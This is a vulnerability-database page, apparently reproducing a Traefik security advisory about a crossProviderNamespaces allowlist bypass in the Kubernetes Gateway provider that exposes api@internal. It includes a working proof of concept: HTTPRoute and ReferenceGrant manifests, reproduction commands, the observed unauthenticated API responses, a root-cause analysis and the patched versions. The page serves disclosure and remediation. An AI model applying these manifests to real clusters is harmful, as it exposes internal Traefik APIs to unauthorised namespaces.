Severity by source
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Network vector via Kubernetes API; PR:L for HTTPRoute create rights; S:C because internal Traefik API crosses onto a public entrypoint; C:H for full API exposure, I:L for routing side-effects.
Primary rating from Vendor (https://github.com/traefik/traefik).
CVSS VectorVendor: https://github.com/traefik/traefik
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
3DescriptionCVE.org
Summary
There is a high severity vulnerability in Traefik's Kubernetes Gateway provider affecting the crossProviderNamespaces allowlist. For HTTPRoute rules that declare multiple (WRR) backendRefs, Traefik evaluates the allowlist against the target backendRef.namespace instead of the route's own namespace. As a result, an HTTPRoute created in a namespace that is not allow-listed can reference a cross-provider TraefikService such as api@internal, dashboard@internal or rest@internal by pointing backendRef.namespace at an allow-listed namespace covered by a Gateway API ReferenceGrant, exposing internal Traefik services on the data plane. Exploitation requires the ability to create an accepted HTTPRoute and a matching ReferenceGrant from an allow-listed namespace ; it does not require any change to Traefik static configuration, RBAC, or the deployment itself.
Patches
- https://github.com/traefik/traefik/releases/tag/v3.6.21
- https://github.com/traefik/traefik/releases/tag/v3.7.5
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Summary
The Kubernetes Gateway provider's crossProviderNamespaces option is documented as restricting which Gateway API route namespaces may declare TraefikService backendRefs.
For HTTPRoute rules with multiple backendRefs, Traefik checks this allowlist against backendRef.namespace instead of the HTTPRoute namespace. A route in a namespace that is not allow-listed can therefore add api@internal to the generated WRR service by setting backendRef.namespace to an allow-listed namespace, as long as a normal Gateway API ReferenceGrant permits that cross-namespace reference.
Verified affected versions:
v3.7.1(fa49e2bcad7ffd8a80accdf1fae1ae480913d93d)- current source/master tested by me (
29406d42898547f1ffabd904f66af06c212740cf)
Expected Behavior
With:
providers:
kubernetesGateway:
crossProviderNamespaces:
- trustedonly Gateway API routes whose own namespace is trusted should be allowed to declare TraefikService backendRefs such as api@internal, dashboard@internal, or rest@internal.
An HTTPRoute in namespace attacker should not be able to expose an internal Traefik service by setting:
backendRefs:
- group: traefik.io
kind: TraefikService
name: api@internal
namespace: trustedActual Behavior
For an HTTPRoute in namespace attacker with two backendRefs, Traefik generates a WRR service containing:
[api@internal attacker-whoami-http-80]even though crossProviderNamespaces only allows trusted.
Threat Model
This does not require changing Traefik static configuration or Traefik process state. The relevant boundary is the Kubernetes Gateway provider's crossProviderNamespaces policy: namespaces outside the allowlist should not be able to declare cross-provider TraefikService backendRefs.
The precondition is a Gateway API environment where an untrusted or less-trusted namespace can create HTTPRoute objects accepted by a Gateway, and a namespace in the crossProviderNamespaces allowlist has a matching ReferenceGrant. ReferenceGrant should satisfy Gateway API cross-namespace reference rules, but it should not override Traefik's separate provider-level namespace allowlist for cross-provider internal services.
A Gateway API ReferenceGrant should be treated as necessary but not sufficient for this case. It authorizes the cross-namespace object reference under Gateway API rules, but Traefik's crossProviderNamespaces option is an additional Traefik-specific security control for cross-provider TraefikService backendRefs, especially @internal services. Therefore a ReferenceGrant from trusted must not make a route in attacker equivalent to a route whose own namespace is trusted.
Required Attacker Capability
Required:
- create or modify an
HTTPRoutein namespaceattacker; - have that
HTTPRouteaccepted by aGateway; - rely on an existing
ReferenceGrantfrom an allow-listed namespace, or on a delegated namespace setup where suchReferenceGrantobjects are managed separately from Traefik's provider configuration.
Not required:
- modifying Traefik static configuration;
- modifying the Traefik deployment or Traefik RBAC;
- modifying resources in the Traefik deployment namespace;
- modifying
providers.kubernetesGateway.crossProviderNamespaces; - enabling
api.insecure; - exposing the dashboard/API entrypoint directly.
Documentation Evidence
The documented boundary is the namespace of the Gateway API route/resource that declares the cross-provider reference, not the namespace named in backendRef.namespace.
The Kubernetes Gateway provider option is documented as:
List of namespaces from which Gateway API routes (HTTPRoute, TCPRoute, TLSRoute) are allowed to declare a backendRef of kind TraefikService.The migration notes also describe the security reason for the option:
those references ... allow a user to cross namespace boundaries, as well as exposing @internal services, that only the operator should be able to expose.and the documented behavior is:
["ns-a"] | Only Kubernetes resources in the listed namespaces can declare cross-provider references.The provider struct uses the same route-namespace wording:
CrossProviderNamespaces []string `description:"List of namespaces from which Gateway API routes are allowed to declare TraefikService backendRef references." ...`The reproduced route kind is HTTPRoute; no Gateway API experimental-channel resources are required for the PoC.
PoC
I validated the issue end-to-end in a local kind cluster with Traefik v3.7.1, real Gateway API CRDs, real Kubernetes Gateway, HTTPRoute, and ReferenceGrant resources, and HTTP requests to Traefik's normal web entrypoint.
The complete local reproducer I used is a self-contained kind PoC with these files:
external-repro-kind/kind-config.yaml
external-repro-kind/traefik-v371.yaml
external-repro-kind/gateway-exploit.yaml
external-repro-kind/run-kind-repro.shRun command:
./external-repro-kind/run-kind-repro.shThe script creates a local kind cluster, loads local traefik:v3.7.1 and traefik/whoami:v1.11.0 images, installs Gateway API CRDs, deploys Traefik and the PoC Gateway resources, sends the control and exploit curl requests to 127.0.0.1:18080, prints route status, and deletes the cluster on exit.
Traefik was started with:
--api=true
--api.dashboard=true
--api.insecure=false
--providers.kubernetesgateway=true
--providers.kubernetesgateway.crossprovidernamespaces=trustedThe local host entrypoint was:
127.0.0.1:18080 -> kind NodePort -> Traefik web entrypointThe target namespace has a normal Gateway API ReferenceGrant:
apiVersion: gateway.networking.k8s.io/v1beta1
kind: ReferenceGrant
metadata:
name: allow-attacker-to-traefikservice
namespace: trusted
spec:
from:
- group: gateway.networking.k8s.io
kind: HTTPRoute
namespace: attacker
to:
- group: traefik.io
kind: TraefikServicePositive control:
apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
name: single-backend-control
namespace: attacker
spec:
parentRefs:
- name: shared-gateway
namespace: default
hostnames:
- control.localhost
rules:
- matches:
- path:
type: PathPrefix
value: /api
backendRefs:
- group: traefik.io
kind: TraefikService
name: api@internal
namespace: trusted
port: 80
weight: 1Bypass:
apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
name: mixed-backend-bypass
namespace: attacker
spec:
parentRefs:
- name: shared-gateway
namespace: default
hostnames:
- exploit.localhost
rules:
- matches:
- path:
type: PathPrefix
value: /api
backendRefs:
- group: traefik.io
kind: TraefikService
name: api@internal
namespace: trusted
port: 80
weight: 1000000
- group: ""
kind: Service
name: whoami
port: 80
weight: 1Observed external result:
control: single-backend route from attacker namespace should not expose api@internal
control status: 404
404 page not found
exploit: mixed backendRef route from attacker namespace exposes api@internal
exploit returned Traefik API JSON
api@internal status: enabled
weighted members:
api@internal 1000000
attacker-whoami-http-80 1The HTTPRoute status shows the boundary difference:
single-backend-control:
Accepted=True
ResolvedRefs=False
Reason=RefNotPermitted
Message=Cannot load HTTPRoute BackendRef api@internal: internal service reference is not allowed: HTTPRoute namespace "attacker" is not in crossProviderNamespaces
mixed-backend-bypass:
Accepted=True
ResolvedRefs=TrueThis is the externally visible security failure: the same route namespace and same api@internal backendRef are rejected in the single-backend path, but accepted in the mixed/WRR path and exposed on the data plane.
Minimized Root Cause Test
I also created a provider-level regression test using Traefik's fake Kubernetes/Gateway clients. This does not rely on the Docker lab, dashboard exposure, or helper backends. It is useful as a minimal root-cause test, but the external kind PoC above is the primary impact reproduction.
Files:
probe/crossprovider_namespace_probe_test.goprobe/cross_provider_namespace_probe.ymlprobe/cross_provider_namespace_single_control.yml
Reproduction:
cp probe/crossprovider_namespace_probe_test.go pkg/provider/kubernetes/gateway/
cp probe/cross_provider_namespace_probe.yml pkg/provider/kubernetes/gateway/fixtures/httproute/
go test ./pkg/provider/kubernetes/gateway -run TestProbeCrossProviderNamespacesHTTPRouteBackendNamespaceBypass -count=1 -vObserved output on both tested versions:
Messages: HTTPRoute namespace attacker must not expose api@internal when only trusted is allow-listed; members=[api@internal attacker-whoami-http-80]The reproducer also includes a positive control:
=== RUN TestProbeCrossProviderNamespacesHTTPRouteSingleBackendControl
--- PASS: TestProbeCrossProviderNamespacesHTTPRouteSingleBackendControlThat control shows the single-backend internal-service code path rejects the setup correctly. The bypass appears when the same forbidden internal backend is placed in a mixed/WRR backendRef list.
Root Cause
The single-internal-service path checks the route namespace:
case len(routeRule.BackendRefs) == 1 && isInternalService(routeRule.BackendRefs[0].BackendRef):
if !isCrossProviderNamespaceAllowed(p.CrossProviderNamespaces, route.Namespace) {The mixed/multiple backendRef path calls loadService. In loadService, namespace is overwritten from backendRef.Namespace, then passed to loadHTTPBackendRef:
namespace := route.Namespace
if backendRef.Namespace != nil && *backendRef.Namespace != "" {
namespace = string(*backendRef.Namespace)
}
...
name, service, err := p.loadHTTPBackendRef(namespace, backendRef)loadHTTPBackendRef then checks crossProviderNamespaces against this target namespace:
if *backendRef.Kind == "TraefikService" && strings.Contains(string(backendRef.Name), "@") {
if !isCrossProviderNamespaceAllowed(p.CrossProviderNamespaces, namespace) {This lets a disallowed route namespace choose an allow-listed target namespace and pass the check.
Impact
An untrusted route namespace may expose internal Traefik services through Gateway HTTPRoute despite being excluded from crossProviderNamespaces.
Potentially exposed internal services include:
api@internaldashboard@internalrest@internal
This is a route isolation / internal service exposure / security option bypass. Practical severity depends on whether internal services are enabled and how Gateway ReferenceGrant delegation is used, but the observed behavior violates the documented security boundary of crossProviderNamespaces.
I also validated the concrete impact of the generated service graph in the local lab. The lab's intended safe baseline has the dashboard/API protected on the dashboard entrypoint:
Host: dashboard.localhost -> dashboard entrypoint /api/rawdata => 401 Unauthorized
Host: dashboard.localhost -> web entrypoint /api/rawdata => 404 Not FoundWhen a router on the normal web entrypoint references api@internal, the same API endpoint becomes unauthenticated:
Host: impact-crossprovider.localhost -> web entrypoint /api/rawdata => 200 OK
service: api@internalA WRR service containing api@internal also exposes the API:
Host: impact-crossprovider-wrr.localhost -> web entrypoint /api/rawdata => 200 OK
weighted services:
api@internal 1000
echo-svc 1This is the security consequence of the provider bug: a namespace that should be blocked by crossProviderNamespaces can make Traefik generate a service graph containing api@internal on a route it controls.
Suggested Fix
For Gateway HTTPRoute TraefikService cross-provider backendRefs, validate crossProviderNamespaces against route.Namespace in all code paths, including mixed/WRR backendRefs.
</details>
---
AnalysisAI
Traefik's Kubernetes Gateway provider exposes internal services (api@internal, dashboard@internal, rest@internal) on the data plane due to a namespace allowlist check evaluated against the wrong variable in multi-backendRef (WRR) HTTPRoute rules. Operators who configured crossProviderNamespaces to restrict which namespaces may reference cross-provider TraefikService backends find that restriction entirely bypassed for routes with two or more backendRefs, allowing an unprivileged route namespace to expose the Traefik API unauthenticated on the normal web entrypoint. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires all of the following conditions simultaneously: (1) Traefik must be running with the Kubernetes Gateway provider enabled (`--providers.kubernetesgateway=true`) and `crossProviderNamespaces` explicitly configured with at least one namespace (e.g., `--providers.kubernetesgateway.crossprovidernamespaces=trusted`); (2) a Kubernetes `ReferenceGrant` resource must already exist in one of the allow-listed namespaces, granting cross-namespace TraefikService reference permission to the attacker's namespace - this is a standard Gateway API object and may be created by cluster-admins for legitimate cross-namespace routing; (3) the attacker must have Kubernetes RBAC `create` (or `update`) permissions on `HTTPRoute` resources in some namespace that is NOT in the crossProviderNamespaces allowlist; (4) a `Gateway` resource must be configured to accept routes from the attacker's namespace. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | No official CVSS score has been assigned by NVD at time of analysis; the following assessment is independent (see assessed_cvss_vector). … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker with Kubernetes RBAC rights to create HTTPRoute objects in a namespace called `attacker` - a typical developer or CI/CD pipeline permission - observes that a ReferenceGrant already exists in the `trusted` namespace permitting cross-namespace TraefikService references from `attacker`. The attacker crafts an HTTPRoute in `attacker` with two backendRefs: `api@internal` with `backendRef.namespace: trusted` and weight 1,000,000, plus a normal service with weight 1. … |
| Remediation | For Traefik v3 users, upgrade to 3.6.21 (patch PR #13322: 'Reject cross-provider references with backendRefs.namespace') or 3.7.5, available at https://github.com/traefik/traefik/releases/tag/v3.6.21 and https://github.com/traefik/traefik/releases/tag/v3.7.5. … Detailed patch versions, workarounds, and compensating controls in full report. |
Threat intelligence, references, and detailed analysis are available after sign-in.
More in Kubernetes
View allA critical vulnerability in Kubernetes ingress-nginx controller allows unauthenticated attackers with pod network access
Credential-harvesting malware compromised 84 versions of 42 TanStack npm packages on 2026-05-11 via chained GitHub Actio
Kubernetes ingress-nginx contains a configuration injection vulnerability via the mirror-target and mirror-host Ingress
A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-url` Ingres
A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-tls-match-c
Kubernetes API server in all versions allow an attacker who is able to create a ClusterIP service and set the spec.exter
Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Rated critical severity (CVSS 9.9), this vulne
The Kubernetes integration in GitLab Enterprise Edition 11.x before 11.2.8, 11.3.x before 11.3.9, and 11.4.x before 11.4
Kyverno Kubernetes policy engine prior to 1.x has a privilege escalation vulnerability (CVSS 9.9) allowing policy bypass
Kamaji is the Hosted Control Plane Manager for Kubernetes. Rated critical severity (CVSS 9.9), this vulnerability is rem
Jumpserver is a popular open source bastion host, and Koko is a Jumpserver component that is the Go version of coco, ref
String filter bypass in Inspektor Gadget Kubernetes eBPF tooling before fix. Insufficient string escaping enables filter
Same weakness CWE-284 – Improper Access Control
View allSame technique Authentication Bypass
View allVendor StatusVendor
SUSE
Severity: Important| Product | Status |
|---|---|
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.6 | Affected |
Share
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-38577
GHSA-3g6v-2r68-prfc